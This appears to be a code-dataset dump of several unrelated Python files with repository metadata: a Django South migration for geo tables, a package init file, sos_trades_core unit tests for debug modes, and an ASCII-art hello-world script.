| 65.330093 | 902 | 0.749087 | 21,638 | 174,758 | 5.878593 | 0.044274 | 0.030872 | 0.038868 | 0.057735 | 0.849427 | 0.829341 | 0.8035 | 0.784577 | 0.748901 | 0.73604 | 0 | 0.021418 | 0.133825 | 174,758 | 2,674 | 903 | 65.354525 | 0.818909 | 0.100819 | 0 | 0.654267 | 1 | 0.032823 | 0.282703 | 0.038061 | 0 | 0 | 0 | 0 | 0 | 1 | 0.010394 | false | 0 | 0.01477 | 0 | 0.224836 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
085a96fff3ce48ce2dee70d6958ea2079e169507 | 6,830 | py | Python | mozillians/geo/migrations/0001_initial.py | caktus/mozillians | 312eb5d993b60092fa4f8eb94548c1db4b21fa01 | [
"BSD-3-Clause"
] | null | null | null | mozillians/geo/migrations/0001_initial.py | caktus/mozillians | 312eb5d993b60092fa4f8eb94548c1db4b21fa01 | [
"BSD-3-Clause"
] | null | null | null | mozillians/geo/migrations/0001_initial.py | caktus/mozillians | 312eb5d993b60092fa4f8eb94548c1db4b21fa01 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Country'
db.create_table('geo_country', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(unique=True, max_length=120)),
('code', self.gf('django.db.models.fields.CharField')(unique=True, max_length=2)),
('mapbox_id', self.gf('django.db.models.fields.CharField')(unique=True, max_length=40)),
))
db.send_create_signal('geo', ['Country'])
# Adding model 'Region'
db.create_table('geo_region', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=120)),
('mapbox_id', self.gf('django.db.models.fields.CharField')(unique=True, max_length=40)),
('country', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Country'])),
))
db.send_create_signal('geo', ['Region'])
# Adding model 'City'
db.create_table('geo_city', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=120)),
('mapbox_id', self.gf('django.db.models.fields.CharField')(unique=True, max_length=40)),
('region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Region'], null=True, blank=True)),
('country', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Country'])),
('lat', self.gf('django.db.models.fields.FloatField')()),
('lng', self.gf('django.db.models.fields.FloatField')()),
('w', self.gf('django.db.models.fields.FloatField')(default=None, null=True, blank=True)),
('s', self.gf('django.db.models.fields.FloatField')(default=None, null=True, blank=True)),
('e', self.gf('django.db.models.fields.FloatField')(default=None, null=True, blank=True)),
('n', self.gf('django.db.models.fields.FloatField')(default=None, null=True, blank=True)),
))
db.send_create_signal('geo', ['City'])
# Adding model 'Geocoding'
db.create_table('geo_geocoding', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('country', self.gf('django.db.models.fields.CharField')(default='', max_length=50)),
('region', self.gf('django.db.models.fields.CharField')(default='', max_length=255, blank=True)),
('city', self.gf('django.db.models.fields.CharField')(default='', max_length=255, blank=True)),
('geo_country', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Country'])),
('geo_region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.Region'], null=True, on_delete=models.SET_NULL, blank=True)),
('geo_city', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['geo.City'], null=True, on_delete=models.SET_NULL, blank=True)),
))
db.send_create_signal('geo', ['Geocoding'])
def backwards(self, orm):
# Deleting model 'Country'
db.delete_table('geo_country')
# Deleting model 'Region'
db.delete_table('geo_region')
# Deleting model 'City'
db.delete_table('geo_city')
# Deleting model 'Geocoding'
db.delete_table('geo_geocoding')
models = {
'geo.city': {
'Meta': {'object_name': 'City'},
'country': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Country']"}),
'e': ('django.db.models.fields.FloatField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'lat': ('django.db.models.fields.FloatField', [], {}),
'lng': ('django.db.models.fields.FloatField', [], {}),
'mapbox_id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '40'}),
'n': ('django.db.models.fields.FloatField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '120'}),
'region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Region']", 'null': 'True', 'blank': 'True'}),
's': ('django.db.models.fields.FloatField', [], {'default': 'None', 'null': 'True', 'blank': 'True'}),
'w': ('django.db.models.fields.FloatField', [], {'default': 'None', 'null': 'True', 'blank': 'True'})
},
'geo.country': {
'Meta': {'object_name': 'Country'},
'code': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '2'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'mapbox_id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '40'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '120'})
},
'geo.geocoding': {
'Meta': {'object_name': 'Geocoding'},
'city': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255', 'blank': 'True'}),
'country': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '50'}),
'geo_city': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.City']", 'null': 'True', 'on_delete': 'models.SET_NULL', 'blank': 'True'}),
'geo_country': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Country']"}),
'geo_region': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Region']", 'null': 'True', 'on_delete': 'models.SET_NULL', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'region': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '255', 'blank': 'True'})
},
'geo.region': {
'Meta': {'object_name': 'Region'},
'country': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['geo.Country']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'mapbox_id': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '40'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '120'})
}
}
complete_apps = ['geo'] | 60.442478 | 171 | 0.575842 | 793 | 6,830 | 4.862547 | 0.089533 | 0.109959 | 0.188797 | 0.26971 | 0.823651 | 0.799015 | 0.789678 | 0.756483 | 0.754668 | 0.727178 | 0 | 0.009096 | 0.195168 | 6,830 | 113 | 172 | 60.442478 | 0.692378 | 0.0306 | 0 | 0.266667 | 0 | 0 | 0.455082 | 0.277677 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022222 | false | 0 | 0.044444 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f23338f379cbad5d43821504b410616bc01b2699 | 69 | py | Python | src/python/zquantum/core/openfermion/__init__.py | TimWeaving/z-quantum-core | a47eb6e3b74958e4c7106ab5702cf1e19d39b14a | [
"Apache-2.0"
] | 24 | 2020-04-15T17:36:59.000Z | 2022-01-25T05:02:14.000Z | src/python/zquantum/core/openfermion/__init__.py | TimWeaving/z-quantum-core | a47eb6e3b74958e4c7106ab5702cf1e19d39b14a | [
"Apache-2.0"
] | 177 | 2020-04-23T15:19:59.000Z | 2022-03-30T18:06:17.000Z | src/python/zquantum/core/openfermion/__init__.py | TimWeaving/z-quantum-core | a47eb6e3b74958e4c7106ab5702cf1e19d39b14a | [
"Apache-2.0"
] | 19 | 2020-06-24T10:56:02.000Z | 2021-09-30T13:02:21.000Z | from ._io import * # noqa: F403
from ._utils import * # noqa: F403
| 23 | 35 | 0.652174 | 10 | 69 | 4.3 | 0.6 | 0.465116 | 0.651163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113208 | 0.231884 | 69 | 2 | 36 | 34.5 | 0.698113 | 0.304348 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
f24589259df1d76445a573b211d898729242bae9 | 10,107 | py | Python | sos_trades_core/tests/l0_test_66_debug_modes.py | os-climate/sostrades-core | bcaa9b5e393ffbd0963e75a9315b27caf8b0abd9 | [
"Apache-2.0"
] | 8 | 2022-01-10T14:44:28.000Z | 2022-03-31T08:57:14.000Z | sos_trades_core/tests/l0_test_66_debug_modes.py | os-climate/sostrades-core | bcaa9b5e393ffbd0963e75a9315b27caf8b0abd9 | [
"Apache-2.0"
] | null | null | null | sos_trades_core/tests/l0_test_66_debug_modes.py | os-climate/sostrades-core | bcaa9b5e393ffbd0963e75a9315b27caf8b0abd9 | [
"Apache-2.0"
] | 1 | 2022-02-21T14:51:45.000Z | 2022-02-21T14:51:45.000Z | '''
Copyright 2022 Airbus SAS
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
'''
"""
mode: python; py-indent-offset: 4; tab-width: 4; coding: utf-8
unit test for optimization scenario
"""
import unittest
from sos_trades_core.execution_engine.execution_engine import ExecutionEngine
from sos_trades_core.sos_processes.test.test_sellar_opt_w_func_manager_faulty.usecase import Study as study_sellar_opt_faulty
class TestDebugModes(unittest.TestCase):
"""
Debug mode test class
"""
def setUp(self):
self.study_name = 'optim'
self.repo = 'sos_trades_core.sos_processes.test'
self.proc_name = 'test_sellar_opt_w_func_manager_faulty'
def test_00_debug_mode_null(self):
'''
Launch test_sellar_opt_w_func_manager_faulty without a debug mode on
'''
exec_eng = ExecutionEngine(self.study_name)
factory = exec_eng.factory
opt_builder = factory.get_builder_from_process(repo=self.repo,
mod_id=self.proc_name)
exec_eng.factory.set_builders_to_coupling_builder(opt_builder)
exec_eng.configure()
usecase = study_sellar_opt_faulty(execution_engine=exec_eng)
usecase.study_name = self.study_name
values_dict = {}
for dict_item in usecase.setup_usecase():
values_dict.update(dict_item)
exec_eng.load_study_from_input_dict(values_dict)
exec_eng.configure()
exec_eng.display_treeview_nodes()
exec_eng.execute()
def test_01_debug_mode_nan(self):
'''
Launch sellar opt with a NaN injected in discipline Sellar3
Then test debug mode "nan" on discipline Sellar3
'''
exec_eng = ExecutionEngine(self.study_name)
factory = exec_eng.factory
opt_builder = factory.get_builder_from_process(repo=self.repo,
mod_id=self.proc_name)
exec_eng.factory.set_builders_to_coupling_builder(opt_builder)
exec_eng.configure()
usecase = study_sellar_opt_faulty(execution_engine=exec_eng)
usecase.study_name = self.study_name
values_dict = {}
for dict_item in usecase.setup_usecase():
values_dict.update(dict_item)
# activate debug mode == nan to raise error
values_dict[f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'nan'
values_dict[f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'nan'
exec_eng.load_study_from_input_dict(values_dict)
exec_eng.configure()
exec_eng.display_treeview_nodes()
try:
exec_eng.execute()
raise Exception('Execution worked, and it should not have')
except ValueError as ve:
assert 'NaN values found in Sellar_3' == ve.args[0]
except:
raise Exception('Execution failed, and not for the good reason')
def test_02_debug_mode_input_change(self):
'''
Launch sellar opt with a change of +0.5 on input "y_1" injected in discipline Sellar3
Then test debug mode "input_change" on discipline Sellar3
'''
exec_eng = ExecutionEngine(self.study_name)
factory = exec_eng.factory
opt_builder = factory.get_builder_from_process(repo=self.repo,
mod_id=self.proc_name)
exec_eng.factory.set_builders_to_coupling_builder(opt_builder)
exec_eng.configure()
usecase = study_sellar_opt_faulty(execution_engine=exec_eng)
usecase.study_name = self.study_name
values_dict = {}
for dict_item in usecase.setup_usecase():
values_dict.update(dict_item)
values_dict[
f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'input_change'
values_dict[f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'input_change'
exec_eng.load_study_from_input_dict(values_dict)
exec_eng.configure()
exec_eng.display_treeview_nodes()
try:
exec_eng.execute()
raise Exception('Execution worked, and it should not have')
except ValueError as ve:
assert "Mismatch in .optim.SellarOptimScenario.SellarCoupling.y_1.value: 27.8 and 28.3 don't match" in ve.args[0]
except:
raise Exception('Execution failed, and not for the good reason')
def test_03_debug_mode_linearize_data_change(self):
'''
Launch sellar opt with an input change injected on "y_1" during the compute_jacobian in discipline Sellar3
Then test debug mode "linearize data change" on discipline Sellar3
'''
exec_eng = ExecutionEngine(self.study_name)
factory = exec_eng.factory
opt_builder = factory.get_builder_from_process(repo=self.repo,
mod_id=self.proc_name)
exec_eng.factory.set_builders_to_coupling_builder(opt_builder)
exec_eng.configure()
usecase = study_sellar_opt_faulty(execution_engine=exec_eng)
usecase.study_name = self.study_name
values_dict = {}
for dict_item in usecase.setup_usecase():
values_dict.update(dict_item)
values_dict[
f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'linearize_data_change'
values_dict[
f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'linearize_data_change'
exec_eng.load_study_from_input_dict(values_dict)
exec_eng.configure()
exec_eng.display_treeview_nodes()
try:
exec_eng.execute()
raise Exception('Execution worked, and it should not have')
except ValueError as ve:
assert "Mismatch in .optim.SellarOptimScenario.SellarCoupling.y_1.value: 27.8 and 28.3 don't match" in ve.args[0]
except:
raise Exception('Execution failed, and not for the good reason')
def test_04_debug_mode_min_max_grad(self):
'''
Launch sellar opt with an abnormaly high gradient "y_2 vs y_1" during the compute_jacobian in discipline Sellar3
Then test debug mode "min_max_grad" on discipline Sellar3
'''
exec_eng = ExecutionEngine(self.study_name)
factory = exec_eng.factory
opt_builder = factory.get_builder_from_process(repo=self.repo,
mod_id=self.proc_name)
exec_eng.factory.set_builders_to_coupling_builder(opt_builder)
exec_eng.configure()
usecase = study_sellar_opt_faulty(execution_engine=exec_eng)
usecase.study_name = self.study_name
values_dict = {}
for dict_item in usecase.setup_usecase():
values_dict.update(dict_item)
values_dict[
f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'min_max_grad'
values_dict[
f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'min_max_grad'
exec_eng.load_study_from_input_dict(values_dict)
exec_eng.configure()
exec_eng.display_treeview_nodes()
try:
exec_eng.execute()
raise Exception('Execution worked, and it should not have')
except ValueError as ve:
assert 'in discipline <Sellar_3> : dr<optim.SellarOptimScenario.SellarCoupling.y_2> / dr<optim.SellarOptimScenario.SellarCoupling.y_1>: maximum gradient value is <10000000000.0>' == ve.args[0]
except:
raise Exception('Execution failed, and not for the good reason')
def test_05_debug_mode_min_max_coupling(self):
'''
Launch sellar opt with an abnormaly high gradient "y_2 vs y_1" during the compute_jacobian in discipline Sellar3
Then test debug mode "min_max_coupling" on discipline Sellar3
'''
exec_eng = ExecutionEngine(self.study_name)
factory = exec_eng.factory
opt_builder = factory.get_builder_from_process(repo=self.repo,
mod_id=self.proc_name)
exec_eng.factory.set_builders_to_coupling_builder(opt_builder)
exec_eng.configure()
usecase = study_sellar_opt_faulty(execution_engine=exec_eng)
usecase.study_name = self.study_name
values_dict = {}
for dict_item in usecase.setup_usecase():
values_dict.update(dict_item)
values_dict[
f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.error_string'] = 'min_max_couplings'
values_dict[
f'{usecase.study_name}.{usecase.optim_name}.{usecase.subcoupling_name}.Sellar_3.debug_mode'] = 'min_max_couplings'
exec_eng.load_study_from_input_dict(values_dict)
exec_eng.configure()
exec_eng.display_treeview_nodes()
try:
exec_eng.execute()
pass
except ValueError as ve:
assert '<optim.SellarOptimScenario.SellarCoupling.y_2> has the minimum coupling value <[12.27257053+0.j]>'
except:
raise Exception('Execution failed, and not for the good reason')
if '__main__' == __name__:
cls = TestDebugModes()
cls.setUp()
cls.test_02_debug_mode_input_change()
| 41.422131 | 204 | 0.672306 | 1,305 | 10,107 | 4.895785 | 0.154023 | 0.059164 | 0.040069 | 0.028173 | 0.824073 | 0.784004 | 0.755048 | 0.740491 | 0.726718 | 0.726718 | 0 | 0.013016 | 0.247452 | 10,107 | 243 | 205 | 41.592593 | 0.826979 | 0.144158 | 0 | 0.793548 | 0 | 0.025806 | 0.235287 | 0.149826 | 0 | 0 | 0 | 0 | 0.032258 | 1 | 0.045161 | false | 0.006452 | 0.019355 | 0 | 0.070968 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f2501ecd7f04f6138ab8c1a2186c2eb9dda887b6 | 1,034 | py | Python | ASCII/python-hello-world.py | saurabhcommand/Hello-world | 647bad9da901a52d455f05ecc37c6823c22dc77e | [
"MIT"
] | 1,428 | 2018-10-03T15:15:17.000Z | 2019-03-31T18:38:36.000Z | ASCII/python-hello-world.py | saurabhcommand/Hello-world | 647bad9da901a52d455f05ecc37c6823c22dc77e | [
"MIT"
] | 1,162 | 2018-10-03T15:05:49.000Z | 2018-10-18T14:17:52.000Z | ASCII/python-hello-world.py | saurabhcommand/Hello-world | 647bad9da901a52d455f05ecc37c6823c22dc77e | [
"MIT"
] | 3,909 | 2018-10-03T15:07:19.000Z | 2019-03-31T18:39:08.000Z | banner="""
888 888 888 888 888 888 888 888 888
888 888 888 888 888 o 888 888 888 888
888 888 888 888 888 d8b 888 888 888 888
8888888888 .d88b. 888 888 .d88b. 888 d888b 888 .d88b. 888d888 888 .d88888 888
888 888 d8P Y8b 888 888 d88""88b 888d88888b888 d88""88b 888P" 888 d88" 888 888
888 888 88888888 888 888 888 888 88888P Y88888 888 888 888 888 888 888 Y8P
888 888 Y8b. 888 888 Y88..88P 8888P Y8888 Y88..88P 888 888 Y88b 888 "
888 888 "Y8888 888 888 "Y88P" 888P Y888 "Y88P" 888 888 "Y88888 888
inclusive of taxes*
"""
print(banner)
x = 1
if x == 1:
# indented four spaces
print("x is 1.")
| 54.421053 | 114 | 0.411025 | 120 | 1,034 | 3.541667 | 0.308333 | 0.649412 | 0.656471 | 0.649412 | 0.204706 | 0.204706 | 0.162353 | 0.162353 | 0.162353 | 0.098824 | 0 | 0.670213 | 0.545455 | 1,034 | 18 | 115 | 57.444444 | 0.234043 | 0.019342 | 0 | 0 | 0 | 0 | 0.936759 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.133333 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
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